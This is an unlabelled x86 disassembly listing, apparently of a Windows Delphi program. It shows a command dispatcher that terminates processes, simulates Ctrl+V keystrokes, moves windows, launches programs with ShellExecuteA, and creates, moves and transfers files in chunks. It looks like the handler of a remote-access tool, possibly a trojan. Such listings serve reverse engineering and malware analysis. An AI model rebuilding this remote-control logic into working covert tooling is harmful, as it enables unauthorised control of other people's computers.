xor eax, eax
mov dword [0x5383e0], eax
mov byte [0x52ff9c], 0xff
jmp 0x4d7997
xor edx, edx
mov eax, dword [0x538380]
mov ecx, dword [eax]
call dword [ecx + 0x34]
mov byte [0x52ffa0], 0
cmp dword [0x52ffd8], 0x32
jge 0x4d79dd
cmp dword [0x52ffdc], 3
je 0x4d79dd
mov dword [0x538368], 0xffffffff
mov dword [0x53836c], 0xffffffff
mov dword [0x538370], 0xffffffff
mov dword [0x538374], 0xffffffff
jmp case.0x4d506c.10
mov dword [0x538368], 0
mov dword [0x53836c], 0
mov dword [0x538370], 0
mov dword [0x538374], 0
jmp case.0x4d506c.10
mov byte [0x52ffa0], 1
mov dword [0x52ffd8], 0x7d0
jmp case.0x4d506c.10
cmp byte [0x52ff9c], 0
je case.0x4d506c.10
mov byte [0x52ff9c], 0
mov byte [0x52ffac], 0
mov dword [0x52ffd8], 0x7d0
xor word [0x538364], 0x1a0a
jmp 0x4d7a5c
call fcn.004d4578
push 1
call sub.kernel32.dll_Sleep_1
mov eax, dword [0x5315b8]
cmp dword [eax], 0
jg 0x4d7a50
mov eax, dword [0x53837c]
call fcn.00403750
mov eax, dword [0x538380]
call fcn.00403750
mov eax, 0x52ffbc
call fcn.0040e1cc
call fcn.004d4d44
cmp byte [0x53052c], 0
jne 0x4d7aa1
call fcn.004cbd5c
call fcn.004cd010
call fcn.004cd76c
call fcn.004cb634
call fcn.004c9f40
cmp dword [0x5384fc], 3
jne 0x4d7abe
or eax, 0xffffffff
call fcn.004cabf4
jmp 0x4d7ac3
call fcn.004ca5b4
call fcn.004ed584
jmp case.0x4d506c.10
cmp byte [0x52ff9c], 0
je case.0x4d506c.10
mov eax, dword [ebx + 0x14]
shr eax, 0xc
and eax, 0xf
mov dword [ebp - 0x48], eax
cmp byte [0x52ffac], 0
jne 0x4d7b0c
cmp dword [ebp - 0x48], 2
jne 0x4d7b0c
call fcn.0046d638
fcomp dword [0x4da4fc]
fnstsw ax
sahf
jbe 0x4d7b0c
mov dword [ebp - 0x48], 3
mov eax, dword [0x52ffdc]
cmp eax, dword [ebp - 0x48]
je 0x4d7b3b
mov eax, dword [ebp - 0x48]
mov dword [0x52ffdc], eax
cmp dword [0x52ffdc], 2
jl 0x4d7b3b
mov dword [0x538368], 0
mov dword [0x53836c], 0
cmp dword [0x538390], 0
jle 0x4d7b50
mov eax, dword [0x538390]
mov dword [0x52ffe0], eax
jmp 0x4d7b63
mov eax, dword [ebx + 0x14]
shr eax, 8
and eax, 0xf
mov dword [0x52ffe0], eax
call fcn.004d0db4
cmp dword [0x52ffe0], 3
je 0x4d7b71
call fcn.004c9f40
cmp dword [0x52ffe0], 4
je 0x4d7b7f
call fcn.004cb634
cmp dword [0x5384fc], 3
jne 0x4d7bbc
movsx eax, byte [0x52ff98]
mov edx, dword [0x52ffd8]
call fcn.004cac8c
cmp dword [0x52ffe0], 5
je 0x4d7bad
or eax, 0xffffffff
call fcn.004cabf4
jmp 0x4d7be1
mov edx, 2
or eax, 0xffffffff
call fcn.004cac20
jmp 0x4d7be1
cmp dword [0x52ffe0], 5
je 0x4d7bcc
call fcn.004ca5b4
jmp 0x4d7be1
mov eax, dword [0x531724]
cmp dword [eax], 0xffffffd8
jge 0x4d7be1
mov eax, dword [0x531724]
mov dword [eax], 0xffffffd8
mov eax, dword [ebx + 0x18]
and eax, 0x1f
mov esi, dword [eax*4 + 0x530470]
mov eax, dword [ebx + 0x18]
shr eax, 8
and al, 1
mov byte [0x5383c4], al
mov eax, dword [ebx + 0x18]
shr eax, 9
and al, 1
test al, al
jne 0x4d7c0e
mov byte [0x52ff98], 0
mov al, byte [ebx + 0x14]
and al, 0xf
mov byte [0x538378], al
cmp byte [0x52ffac], 0
je 0x4d7c4e
test esi, esi
jle 0x4d7c36
mov eax, esi
call fcn.004d45e8
shl eax, 2
mov dword [0x52ffd8], eax
jmp 0x4d7c45
mov eax, esi
call fcn.004d45e8
shl eax, 3
mov dword [0x52ffd8], eax
mov byte [0x5383c4], 1
jmp 0x4d7c72
cmp dword [0x5383c0], 0xb259
ja 0x4d7c68
mov eax, esi
call fcn.004d45e8
mov dword [0x52ffd8], eax
jmp 0x4d7c72
mov dword [0x52ffd8], 0x3e8
cmp byte [0x5383c4], 0
je 0x4d7c88
cmp byte [0x5383c5], 0
je case.0x4d506c.10
push 0x5622
push 0x10
mov cx, 1
xor edx, edx
mov eax, 0x20
call fcn.004ad83c
test al, al
je case.0x4d506c.10
call fcn.004ad9ec
jmp case.0x4d506c.10
mov ax, word [ebx + 0x10]
and ax, 0xffff
mov word [0x538364], ax
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [0x5383c8], eax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [0x5383cc], eax
mov eax, dword [ebx + 0x14]
and eax, 0xffff
mov dword [0x5383d0], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
mov dword [0x5383d4], eax
jmp case.0x4d506c.10
mov eax, dword [ebx + 0x10]
and eax, 0xffff
mov dword [0x5383d8], eax
mov eax, dword [ebx + 0x10]
shr eax, 0x10
mov dword [0x5383dc], eax
mov eax, dword [ebx + 0x14]
and eax, 0xffff
mov dword [0x5383e0], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
mov dword [0x5383e4], eax
jmp case.0x4d506c.10
cmp dword [ebx + 0x10], 0
je 0x4d7d60
lea eax, [ebp - 0x920]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov ecx, dword [ebp - 0x920]
mov dx, word [0x4da4e8]
mov al, 1
call fcn.004ab8bc
jmp case.0x4d506c.10
xor ecx, ecx
mov dx, word [0x4da52c]
xor eax, eax
call fcn.004ab8bc
jmp case.0x4d506c.10
mov edx, dword [ebx + 0x10]
xor dl, 1
mov eax, dword [0x531848]
mov eax, dword [eax]
mov eax, dword [eax + 0x308]
call fcn.0044e104
jmp case.0x4d506c.10
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045ca88
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d506c.10
lea eax, [ebp - 0x928]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov eax, dword [ebp - 0x928]
lea edx, [ebp - 0x924]
call fcn.00408d5c
mov edx, dword [ebp - 0x924]
mov eax, 0x53852c
call fcn.004045b0
push 0
xor eax, eax
mov al, byte [ebx + 0xc]
push eax
push 0x916
mov eax, dword [ebp - 0x28]
call fcn.0045ca88
push eax
call sub.user32.dll_PostMessageA
jmp case.0x4d506c.10
lea eax, [ebp - 0x5c]
call fcn.0040455c
cmp byte [ebx + 0xc], 0x9f
jne 0x4d7e21
cmp dword [ebx + 4], 0x20
jle 0x4d7e21
lea edx, [ebp - 0x5c]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov eax, dword [ebx + 0x10]
push eax
push 0
push 0x1f0fff
call sub.kernel32.dll_OpenProcess
test eax, eax
je 0x4d7e45
cmp eax, 0xffffffff
je 0x4d7e45
push 0x1111
push eax
call sub.kernel32.dll_TerminateProcess
push 0
push 0
push 0x913
mov eax, dword [ebp - 0x28]
call fcn.0045ca88
push eax
call sub.user32.dll_PostMessageA
cmp dword [ebp - 0x5c], 0
je case.0x4d506c.10
lea eax, [ebp - 0x38]
mov edx, dword [ebp - 0x5c]
call fcn.004045f4
jmp 0x4d5b48
lea edx, [ebp - 0x92c]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0x92c]
mov eax, 0x5384b0
call fcn.00404e18
mov dl, 1
mov eax, dword [0x5384b0]
call fcn.004e75ec
push 0
push 0
push 0
push 0x11
call sub.user32.dll_keybd_event
push 0
push 0
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x56
call sub.user32.dll_keybd_event
push 0
push 2
push 0
push 0x11
call sub.user32.dll_keybd_event
jmp case.0x4d506c.10
lea edx, [ebp - 0x6c]
lea eax, [ebx + 0x20]
call fcn.00409e5c
cmp dword [ebx + 0x10], 0xaf
jne 0x4d7efd
mov edx, dword [ebp - 0x6c]
mov eax, dword [ebp - 0x28]
call fcn.004e3d60
jmp case.0x4d506c.10
cmp dword [ebx + 0x10], 0xae
jne 0x4d7f50
mov edx, dword [ebp - 0x6c]
mov eax, 0x4da538
call fcn.00404b50
mov dword [ebp - 0x48], eax
cmp dword [ebp - 0x48], 0
jle case.0x4d506c.10
lea eax, [ebp - 0x930]
push eax
mov ecx, dword [ebp - 0x48]
dec ecx
mov edx, 1
mov eax, dword [ebp - 0x6c]
call fcn.00404a6c
mov eax, dword [ebp - 0x930]
or edx, 0xffffffff
call fcn.0040940c
call fcn.004e3e64
jmp case.0x4d506c.10
cmp dword [ebx + 0x10], 0xb4
jne 0x4d7f6f
lea eax, [ebp - 0x38]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [0x538498]
call fcn.00404860
jmp 0x4d5b48
cmp dword [ebx + 0x10], 0xb5
jne case.0x4d506c.10
lea eax, [ebp - 0x38]
mov ecx, dword [ebp - 0x6c]
mov edx, dword [0x538498]
call fcn.00404860
jmp 0x4d5b48
mov eax, dword [ebx + 0x10]
push eax
push 0xf170
push 0x112
mov eax, dword [ebp - 0x28]
call fcn.0045ca88
push eax
call sub.user32.dll_SendMessageA
jmp case.0x4d506c.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d506c.10
lea eax, [ebp - 0x1d8]
push eax
push esi
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x1d0]
sub eax, dword [ebp - 0x1d8]
mov edx, dword [ebp - 0x1cc]
sub edx, dword [ebp - 0x1d4]
shl edx, 0x10
or eax, edx
push eax
push 1
push 0
push 0
push 0
mov ecx, dword [ebp - 0x1d8]
and ecx, 0xffff
mov eax, dword [ebp - 0x1d4]
shl eax, 0x10
or ecx, eax
mov edx, 0xfb
mov eax, dword [ebp - 0x28]
call fcn.004d34d4
jmp case.0x4d506c.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d506c.10
mov di, word [ebx + 0x10]
and di, 0xffff
movsx edi, di
mov eax, dword [ebx + 0x10]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x4c], eax
mov ax, word [ebx + 0x14]
and ax, 0xffff
movsx eax, ax
mov dword [ebp - 0x50], eax
mov eax, dword [ebx + 0x14]
shr eax, 0x10
movsx eax, ax
mov dword [ebp - 0x54], eax
push 0
mov eax, dword [ebp - 0x54]
push eax
mov eax, dword [ebp - 0x50]
push eax
mov eax, dword [ebp - 0x4c]
push eax
push edi
push 0
push esi
call sub.user32.dll_SetWindowPos
jmp case.0x4d506c.10
call sub.user32.dll_GetForegroundWindow
mov esi, eax
test esi, esi
je case.0x4d506c.10
push 0
lea eax, [ebp - 0x1f8]
push eax
push 0
push 0x30
call sub.user32.dll_SystemParametersInfoA
lea eax, [ebp - 0x1d8]
push eax
push esi
call sub.user32.dll_GetWindowRect
mov eax, dword [ebp - 0x1f0]
sub eax, dword [ebp - 0x1f8]
mov edx, dword [ebp - 0x1d0]
sub edx, dword [ebp - 0x1d8]
sub eax, edx
sar eax, 1
jns 0x4d80c9
adc eax, 0
add eax, dword [ebp - 0x1f8]
mov dword [ebp - 0x1e8], eax
mov eax, dword [ebp - 0x1ec]
sub eax, dword [ebp - 0x1f4]
mov edx, dword [ebp - 0x1cc]
sub edx, dword [ebp - 0x1d4]
sub eax, edx
sar eax, 1
jns 0x4d80f6
adc eax, 0
add eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1e4], eax
push 1
push 0
push 0
mov eax, dword [ebp - 0x1e4]
push eax
mov eax, dword [ebp - 0x1e8]
push eax
push 0
push esi
call sub.user32.dll_SetWindowPos
jmp case.0x4d506c.10
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov esi, eax
mov edx, 0x4da544
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4da564
mov eax, dword [0x531828]
push dword [eax]
push 0x4da574
lea eax, [ebp - 0x934]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x934]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4da564
mov eax, dword [0x531828]
push dword [eax]
push 0x4da584
lea eax, [ebp - 0x938]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x938]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4da564
mov eax, dword [0x531828]
push dword [eax]
push 0x4da594
lea eax, [ebp - 0x93c]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x93c]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x940]
mov eax, 0xf9
call fcn.004a8230
mov ecx, dword [ebp - 0x940]
mov edx, dword [0x531828]
mov edx, dword [edx]
lea eax, [ebp - 0x88]
call fcn.00404860
lea eax, [ebp - 0x944]
mov edx, dword [ebp - 0x88]
call fcn.00404e18
mov eax, dword [ebp - 0x944]
push eax
push esi
call fcn.0046c6b4
push 0x4da5a4
push dword [ebp - 0x88]
push 0x4da5a4
lea eax, [ebp - 0x88]
mov edx, 3
call fcn.004048d4
mov eax, esi
call fcn.00403750
call fcn.004d4670
xor edx, edx
mov eax, 3
call fcn.004d4690
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
call fcn.00404a0c
push eax
push 0x4da4e0
push 0
call sub.shell32.dll_ShellExecuteA
jmp case.0x4d506c.10
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov esi, eax
mov edx, 0x4da544
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4da564
lea eax, [ebp - 0x94c]
mov edx, dword [0x5382a4]
mov dl, byte [edx]
call fcn.0040473c
push dword [ebp - 0x94c]
push 0x4da5b0
lea eax, [ebp - 0x948]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x948]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4da564
push dword [0x5382a4]
push 0x4da5c4
lea eax, [ebp - 0x950]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x950]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4da564
push dword [0x5382a4]
push 0x4da5dc
lea eax, [ebp - 0x954]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x954]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
push 0x4da564
mov eax, dword [0x531828]
push dword [eax]
push 0x4da594
lea eax, [ebp - 0x958]
mov edx, 3
call fcn.004048d4
mov edx, dword [ebp - 0x958]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x38]
lea edx, [ebp - 0x95c]
mov eax, 0xf9
call fcn.004a8230
mov ecx, dword [ebp - 0x95c]
mov edx, dword [0x531828]
mov edx, dword [edx]
lea eax, [ebp - 0x88]
call fcn.00404860
lea eax, [ebp - 0x960]
mov edx, dword [ebp - 0x88]
call fcn.00404e18
mov eax, dword [ebp - 0x960]
push eax
push esi
call fcn.0046c6b4
push 0x4da5a4
push dword [ebp - 0x88]
push 0x4da5a4
lea eax, [ebp - 0x88]
mov edx, 3
call fcn.004048d4
mov eax, esi
call fcn.00403750
push 0
push 0
push 0
mov eax, dword [ebp - 0x88]
call fcn.00404a0c
push eax
push 0x4da4e0
push 0
call sub.shell32.dll_ShellExecuteA
mov eax, dword [ebp - 0x28]
mov eax, dword [eax + 0x2f0]
xor edx, edx
call fcn.00488414
mov eax, dword [0x53715c]
call fcn.004a09ac
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x28]
call fcn.004e0d8c
jmp case.0x4d506c.10
lea edx, [ebp - 0x964]
mov eax, 0xfa
call fcn.004a8230
mov eax, dword [ebp - 0x964]
push eax
lea edx, [ebp - 0x968]
mov eax, 0xae
call fcn.004a8230
mov eax, dword [ebp - 0x968]
push eax
lea eax, [ebp - 0x96c]
lea edx, [ebx + 0x20]
mov ecx, 0x400
call fcn.004047c4
mov ecx, dword [ebp - 0x96c]
pop eax
pop edx
call fcn.0046ae0c
jmp case.0x4d506c.10
cmp dword [0x52ff18], 0x520039a
jb case.0x4d506c.10
cmp byte [0x53054c], 0
jne case.0x4d506c.10
xor eax, eax
push ebp
push 0x4d87b7
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebx + 0x10]
mov dword [0x53832c], eax
mov eax, dword [0x53832c]
add eax, 0x5b
cmp eax, dword [0x5383c0]
jae 0x4d84c6
push 0
push 0x3e8
mov eax, dword [0x52fee0]
mov edx, dword [0x52fee4]
call fcn.004058f0
and eax, 1
xor edx, edx
cmp edx, 0
jne 0x4d84c6
cmp eax, 0
je 0x4d87a2
mov byte [0x53054c], 1
lea edx, [ebp - 0x9c]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0x9c]
call fcn.004d1fb8
lea eax, [ebp - 0xcc]
mov edx, dword [ebp - 0x9c]
call fcn.004045f4
mov eax, dword [ebp - 0x9c]
call fcn.00404814
cmp eax, 3
jl 0x4d8783
mov eax, dword [ebp - 0x9c]
call fcn.00461a84
test al, al
je 0x4d8783
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xe1
mov eax, dword [ebp - 0x28]
call fcn.004d34d4
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x4693e0]
call fcn.00469668
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4dedd4
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4df010
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4df54c
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0x9c]
call fcn.004045b0
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 0
mov dl, 1
mov eax, dword [0x4e8fb4]
call fcn.00403720
mov dword [0x53854c], eax
push 0
push 0x20
mov eax, dword [0x53854c]
call fcn.00419618
push 0
push 0x20
mov eax, dword [0x53854c]
call fcn.004195b4
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 2
xor eax, eax
push ebp
push 0x4d877c
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.0046971c
mov eax, dword [0x53854c]
call fcn.004195c8
cmp edx, 0
jne 0x4d8615
cmp eax, 0x20
jbe 0x4d873b
jmp 0x4d861b
jle 0x4d873b
mov eax, dword [0x53854c]
mov ebx, dword [eax + 4]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xe8
mov byte [ebx + 0xe], 0
mov eax, dword [0x53854c]
call fcn.004195c8
mov dword [ebx + 4], eax
mov eax, dword [0x5383c0]
mov dword [ebx + 0x10], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
mov eax, ebx
call fcn.004de7ec
mov eax, dword [ebx + 4]
mov dword [ebp - 0xb0], eax
lea ebx, [ebp - 0x798]
mov byte [ebx + 0xd], 0xc
mov byte [ebx + 0xc], 0xf2
mov byte [ebx + 0xe], 0
xor eax, eax
mov dword [ebx + 0x10], eax
xor eax, eax
mov dword [ebx + 0x1c], eax
push 0
push 0
mov eax, dword [0x53854c]
call fcn.004195b4
xor esi, esi
mov dword [ebx + 0x14], esi
inc esi
mov eax, dword [ebp - 0xb0]
cdq
push edx
push eax
mov eax, dword [0x53854c]
call fcn.00419594
sub dword [esp], eax
sbb dword [esp + 4], edx
pop eax
pop edx
cmp edx, 0
jne 0x4d86b3
cmp eax, 0x500
jbe 0x4d86c1
jmp 0x4d86b5
jle 0x4d86c1
mov dword [ebp - 0xac], 0x500
jmp 0x4d86d9
mov eax, dword [0x53854c]
call fcn.00419594
mov edx, dword [ebp - 0xb0]
sub edx, eax
mov dword [ebp - 0xac], edx
lea edx, [ebx + 0x20]
mov ecx, dword [ebp - 0xac]
mov eax, dword [0x53854c]
mov edi, dword [eax]
call dword [edi + 8]
mov eax, dword [0x53854c]
call fcn.00419594
mov edx, dword [ebp - 0xb0]
sub edx, eax
mov dword [ebx + 0x18], edx
mov eax, dword [ebp - 0xac]
add eax, 0x20
mov dword [ebx + 4], eax
mov edx, ebx
mov eax, dword [ebp - 0x28]
call fcn.004d31b8
test al, al
je 0x4d8759
test esi, 0xf
jne 0x4d872f
mov eax, dword [0x531704]
mov eax, dword [eax]
call fcn.00446cc8
cmp dword [ebx + 0x18], 0
jne 0x4d8685
jmp 0x4d8759
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
xor ecx, ecx
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004d34d4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d87a2
mov eax, dword [0x53854c]
call fcn.00403750
mov eax, dword [ebp - 0xd4]
call fcn.00403750
ret
push 0
push 0
mov eax, dword [ebp - 0xcc]
push eax
push 0
push 0
or ecx, 0xffffffff
mov edx, 0xbb
mov eax, dword [ebp - 0x28]
call fcn.004d34d4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d506c.10
mov byte [0x53054c], 0
ret
lea edx, [ebp - 0x34]
lea eax, [ebx + 0x20]
call fcn.00409e5c
lea eax, [ebp - 0x34]
call fcn.004d1fb8
push 0
lea eax, [ebp - 0x34]
call fcn.00404a64
push eax
call sub.kernel32.dll_CreateDirectoryA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x91], al
push 0
push 0
lea edx, [ebp - 0x970]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov eax, dword [ebp - 0x970]
push eax
push 0
push 0
xor ecx, ecx
mov cl, byte [ebp - 0x91]
mov edx, 0xbd
mov eax, dword [ebp - 0x28]
call fcn.004d34d4
jmp case.0x4d506c.10
cmp byte [0x530550], 0
jne case.0x4d506c.10
xor eax, eax
push ebp
push 0x4d8a1c
push dword fs:[eax]
mov dword fs:[eax], esp
mov byte [0x530550], 1
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov dword [ebp - 0x98], eax
lea edx, [ebp - 0x974]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0x974]
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
lea eax, [ebp - 0x9c]
call fcn.004d1fb8
mov eax, dword [ebp - 0x98]
mov edx, dword [eax]
call dword [edx + 0x14]
dec eax
test eax, eax
jle 0x4d89d4
mov dword [ebp - 0x108], eax
mov dword [ebp - 0x48], 1
lea ecx, [ebp - 0x978]
mov edx, dword [ebp - 0x48]
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov ecx, dword [ebp - 0x978]
lea eax, [ebp - 0x34]
mov edx, dword [ebp - 0x9c]
call fcn.00404860
mov eax, dword [ebp - 0x34]
call fcn.0046c408
test al, al
je 0x4d8904
mov eax, dword [ebp - 0x34]
call fcn.004e83a0
mov edx, 2
mov eax, dword [ebp - 0x34]
call fcn.004d1a64
jmp 0x4d89c5
mov ecx, dword [ebp - 0x28]
mov dl, 1
mov eax, dword [0x4693e0]
call fcn.00469668
mov dword [ebp - 0xd4], eax
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x54], edx
mov dword [eax + 0x50], 0x4dedd4
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x4c], edx
mov dword [eax + 0x48], 0x4df010
mov eax, dword [ebp - 0xd4]
mov edx, dword [ebp - 0x28]
mov dword [eax + 0x64], edx
mov dword [eax + 0x60], 0x4df54c
mov eax, dword [ebp - 0xd4]
add eax, 0x40
mov edx, dword [ebp - 0x34]
call fcn.004045b0
mov eax, dword [ebp - 0xd4]
mov byte [eax + 0x71], 1
mov eax, dword [ebp - 0xd4]
mov dword [eax + 0xc], 3
xor eax, eax
push ebp
push 0x4d89ac
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xd4]
call fcn.0046971c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4d89b3
mov eax, dword [ebp - 0xd4]
call fcn.00403750
ret
inc dword [ebp - 0x48]
dec dword [ebp - 0x108]
jne 0x4d88b6
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push 0
push 0
push 0
xor ecx, ecx
mov edx, 0xbc
mov eax, dword [ebp - 0x28]
call fcn.004d3670
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push case.0x4d506c.10
mov eax, dword [ebp - 0x98]
call fcn.00403750
mov byte [0x530550], 0
ret
mov dl, 1
mov eax, dword [0x414aa4]
call fcn.00403720
mov dword [ebp - 0x98], eax
lea edx, [ebp - 0x97c]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0x97c]
mov eax, dword [ebp - 0x98]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
lea ecx, [ebp - 0x9c]
xor edx, edx
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0x34]
mov edx, 1
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea ecx, [ebp - 0x38]
mov edx, 2
mov eax, dword [ebp - 0x98]
mov esi, dword [eax]
call dword [esi + 0xc]
lea eax, [ebp - 0x9c]
call fcn.004d1fb8
lea eax, [ebp - 0x980]
mov ecx, dword [ebp - 0x38]
mov edx, dword [ebp - 0x9c]
call fcn.00404860
mov eax, dword [ebp - 0x980]
call fcn.00404a0c
push eax
lea eax, [ebp - 0x984]
mov ecx, dword [ebp - 0x34]
mov edx, dword [ebp - 0x9c]
call fcn.00404860
mov eax, dword [ebp - 0x984]
call fcn.00404a0c
push eax
call sub.kernel32.dll_MoveFileA
cmp eax, 1
sbb eax, eax
inc eax
mov byte [ebp - 0x91], al
mov eax, dword [ebp - 0x98]
call fcn.00403750
mov eax, dword [ebx + 0x10]
push eax
push 1
push 0
push 0
push 0
xor ecx, ecx
mov cl, byte [ebp - 0x91]
mov edx, 0xc0
mov eax, dword [ebp - 0x28]
call fcn.004d34d4
jmp case.0x4d506c.10
lea edx, [ebp - 0x988]
lea eax, [ebx + 0x20]
call fcn.00409e5c
mov edx, dword [ebp - 0x988]
mov eax, 0x538550
call fcn.004045b0
mov eax, dword [ebx + 0x10]
mov dword [0x538554], eax
mov eax, dword [ebx + 0x14]
mov dword [0x538560], eax
mov al, byte [ebx + 0x18]
and al, 0xff
mov byte [0x53855c], al
mov eax, dword [ebx + 0x18]
and eax, 0x300
mov dword [0x538558], eax
mov eax, 0x538550
call fcn.004d1fb8
mov eax, dword [0x538550]
cmp byte [eax + 1], 0x3a
jne 0x4d8b87
mov eax, dword [0x538550]
mov al, byte [eax]
call fcn.00402b3c
mov byte [0x538564], al
jmp 0x4d8b8e
mov byte [0x538564], 0
mov eax, dword [0x538550]
call fcn.00404814
cmp eax, 3
jle case.0x4d506c.10
mov eax, dword [0x538550]
call fcn.00461a8c
jmp case.0x4d506c.10
mov al, byte [ebx + 0x10]
mov byte [0x538570], al
mov eax, dword [ebx + 0x14]
mov dword [0x53856c], eax
lea eax, [ebx + 0x20]
mov ebx, eax
mov eax, dword [ebx + 4]
mov dword [0x538578], eax
mov eax, dword [ebx + 8]
mov dword [0x53857c], eax
mov eax, dword [ebx]
mov dword [0x538574], eax
mov eax, dword [ebx + 0xc]
mov dword [0x538580], eax
cmp byte [0x538564], 0x41
jb 0x4d8c1e
mov al, byte [0x538564]
sub al, 0x41
inc eax
call fcn.00409b4c
sub eax, dword [0x538578]
sbb edx, dword [0x53857c]
sub eax, 0x1400000
sbb edx, 0
mov dword [ebp - 0xa8], eax
mov dword [ebp - 0xa4], edx
jmp 0x4d8c32
mov dword [ebp - 0xa8], 0xffffffff
mov dword [ebp - 0xa4], 0x7fff
cmp dword [ebp - 0xa4], 0
jne 0x4d8c46
cmp dword [ebp - 0xa8], 0
jae 0x4d8c71
jmp 0x4d8c48
jge 0x4d8c71
xor eax, eax
mov dword [0x530560], eax
push 0
push 0
push 0
push 0
push 0
mov ecx, dword [0x53856c]
mov edx, 0xc3
mov eax, dword [ebp - 0x28]
call fcn.004d34d4
jmp case.0x4d506c.10
mov al, byte [0x538570]
sub al, 2
jb 0x4d8c81
je 0x4d8cb6
jmp case.0x4d506c.10
mov byte [0x538584], 0
mov dl, 1
mov eax, dword [0x4e8fb4]
call fcn.00403720
mov dword [0x530560], eax
mov dl, 1
mov eax, dword [0x414440]
call fcn.00403720
mov dword [0x53858c], eax
xor eax, eax
mov dword [0x538588], eax
jmp case.0x4d506c.10
mov byte [0x538584], 0
lea eax, [ebp - 0x98c]
lea edx, [ebx + 0x10]
mov ecx, 0x400
call fcn.004047c4
mov ecx, dword [ebp - 0x98c]
mov eax, 0x538568
mov edx, dword [0x538550]
call fcn.00404860
mov eax, dword [0x538568]
call fcn.004e83a0
lea eax, [ebp - 0x990]
mov edx, dword [0x538568]
call fcn.00404e18
mov eax, dword [ebp - 0x990]
